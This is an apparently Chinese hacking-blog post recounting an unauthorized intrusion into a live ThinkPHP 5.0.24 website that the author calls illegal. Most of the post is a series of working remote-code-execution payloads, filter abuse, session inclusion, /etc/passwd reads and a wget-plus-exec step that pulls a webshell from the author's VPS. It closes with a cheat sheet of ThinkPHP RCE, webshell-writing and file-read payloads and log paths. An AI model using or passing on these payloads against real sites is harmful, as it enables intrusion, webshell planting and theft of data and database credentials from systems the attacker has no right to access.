记录一下tp5.0.24,感觉此站应该是阉割版,按理来说tp5.0.24应该没有rce的。
网站是非法站点,不用担心未授权。
还是先报错一手,发现是5.0.24的,当时想应该没有希望了,但是还是抱着试一试的心态,用exp打一打
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
然后发现打动了,哈哈哈哈。disable_function倒是挺多的
心里有一些小激动,然后想的是直接用exp拿下
s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
失败
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=%3C?php%20@eval($_POST[%27code%27]);?%3E
失败
session包含
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1 //写入session
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_oi14rt2tefacbtgcg7arrfnpo6&x=phpinfo(); //包含session
失败
然后就有一些无语,想的是我们用常规的exp能打出来,但是写不进去shell。既然能打出phpinfo。那么网站肯定是存在RCE。现在的思路就是就是通过读文件读出日志的位置,因为这一类站的路由都是在上一级,而且日志的位置可能还改了位置,所以我们需要先fuzzing一下日志位置,在包含拿下。
_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd
然后用exp去读取文件,既然没有返回,想了想因该是权限不够。
因为出了phpinfo()嘛,我们可以根据路径读一下其他php文件,看看exp生不生效。
然后我们去读数据库文件,看看可不可以外连,一般名字为config.php,database.php,config.php.inc,目录一般在application/data,data,或者就在根目录下
读出数据库的时候,想了想只是要数据,其实不拿shell也行,就去外连,不出意外的没有连上。还是的硬打。
然后就继续fuzzing,成功的找到了日志的位置,这个时候想的是日志包含getshell,但是失败了,无法读取到,应该是对日志做了限制
现在既然有了数据库的账号密码,希望有一手phpmyadmin吧,结果站点也没有,就把希望放在了c段上,扫了一波端口,整个c段类似的站点都扫了一遍,都没有phpmyadmin,其他端口也扫了一下,999呀这些的,都没有找到phpmyadmin有点难受。
ps:其实不仅仅可以看看phpmyadmin,有些站可能有adminer.php。上次有个站点就有一个adminer,有数据库账号密码,直接抱紧去拿下shell。我们都可以看看。
然后又去后台,有验证码,也抱不动,简单的试了一下弱口令,没有什么用。登不进去,tmd的,我都烦死了。
没办法,还是的回到tp的反序列化,然后当我在仔细看disable_function的时候tm好像没有禁用exec,这尼玛,我tm吐了,这不用exp打一打?
s=whoami&_method=__construct&method=&filter[]=exec
没有反应??(当时猜测应该是disable_funciton的问题,就是拿到了shell,set=127这种情况)然后又换成了ping dnslog。这里也不贴图了发现dnslog这边没有反应,但是服务器这边确实一直在转,我感觉命令肯定是执行了,有问题的,然后用
wget vps/a.txt&_method=__construct&method=&filter[]=exec
成功写上了txt。
然后用python给自己的vps开一个web端口
python3 -m http.server 1337
s=exec vps:1377/shell.php&_method=__construct&method=&filter[]=exec
访问之,成功拿下
总结:
其实有些时候遇见tp5.0.24的,还是尝试一下,因为有一些是二次开发的,难免会存在tp5.0.*其他版本的漏洞,还有就是的信息,当打不动的时候,在回过头看看是不是遗漏了什么。本次思路,回过头来看,还是挺简单的,相当于常规的tp站点,禁用了大众的执行命令的函数,然后一个rce。
关于渗透tp的站点,
我也挺菜的,总结的也很水,首先是tp3的,tp3的漏洞我实际上见过的只有注入,日志泄露,至于我没有手动复现过的,tp3.2.3的缓存写入shell,土司有一个表哥发了一个后门,public/upload/gift/这个目录有上传,还有mochazz大佬审计的前台rce,认识的表哥可以舔舔,舔到了私信我,我也来舔你。
先说日志:
Application//Runtime/Logs/Admin/20_05_01.log
Application//Runtime/Logs/Index/20_05_01.log
Application/runtime/logs/home/16_09_09.log
这些都是tp3的日志,linux注意区分大小写,还有就是application可能会是app,也有直接runtime起手的
有些时候日志不是以年月日来命名,可能会是01_sql.log 01_error.log
再说注入:
注入就自己找,唯一说一点得得就是注入可以配合日志打组合拳,什么意思呢,就是xxid=1这个点存在注入,但是当我们把paylaod发进去,却没有数据出来,其实是有数据的,他在日志里而已。
关于tp5的
首先就是各类RCE,关于打phpinfo的
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=phpinfo&get[]=-1
_method=__construct&filter[]=system&method=get&get[]=phpinfo
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo
_method=_constrcuct&filter[]=assert&method=get&server[REQUEST_METHOD]=phpinfo()
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
写入shell的
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=axgg.php&vars[1][]=<?php @eval($_POST[1]);?>
think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo'%3C?php%20@eval($_POST[1]);?%3E%27%3E.axgg.php
s=file_put_contents('axgg.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
日志,session写入,包含getshell。这里就不贴payload了,网上有很多,这里就说一些注意事项吧,写入php被过滤的时候,可以考虑base64加密,实在不行就用file_put_content用a+的追加的方式一个一个写入。至于session写入绕过的话,我们可以用伪协议来包含.
https://xz.aliyun.com/t/6106
然后是读取文件
_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=/data/app/lottery/public //罗列目录位置
_method=__construct&filter[]=highlight_file&method=GET&get[]=/etc/passwd
s=include("/etc/passwd")&_method=__construct&filter=assert //读取文件
关于日志
runtime/log/202009/30.log
runtime/logs/202009/30.log
runtime/log/202009/03_sql.log
runtime/logs/home/16_09_09.log
Application//Runtime/Logs/202005/01.log
- 上一篇:内网渗透--对不出网目标的打法
- 下一篇:黑灰产情报周报|用户积分代刷衍生的诈骗事件
猜你还喜欢
- 07-08九年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 03-21黑客如何破解wifi密码
- 01-12批量检测SQL注入
- 最新文章
- 随机文章
-
- 通过Shodan发现目标应用Marathon服务的RCE漏洞
- ThinkPHP5.1.X反序列化利用链
- 基于网络启动和系统服务劫持的渗透技术研究
- 泛微OA E-cology远程代码执行漏洞原理分析
- 使用Burp拦截Flutter App与其后端的通信
- SRC漏洞挖掘实用技巧
- Javascript原型链攻击与防御
- 我如何通过Uber API接口劫持任意Uber注册账户
- Linux Sudo被曝漏洞,可导致用户以root权限运行命令
- Jenkins脏牛漏洞FRP内网提权
- ScoutSuite:一款针对云集群环境的安全审计工具
- 从宽字节注入认识PDO的原理和正确使用
- NDAY漏洞CVE-2017-11882新变异样本分析
- B2R2:一套针对二进制代码分析的实用算法、函数以及工具集
- 探究if条件语句引发的两个Web漏洞
- Apache Solr最新RCE漏洞分析
- 知名Web域名注册商披露数据泄露事件
- PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
- 浅谈安全攻防场景下的安全检测
- Think CMF X任意内容包含漏洞分析复现
- 热门文章
-
- 九年专业安全团队承接渗透入侵维护服务
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- Emlog黑客站模板“Milw0rm”发布
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑客怎样简单入侵别人手机,黑客是如何入侵手机的?
- 破解emlog收费模板“Begin”
- 黑麒麟2016渗透培训系列教程
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 文章标签
-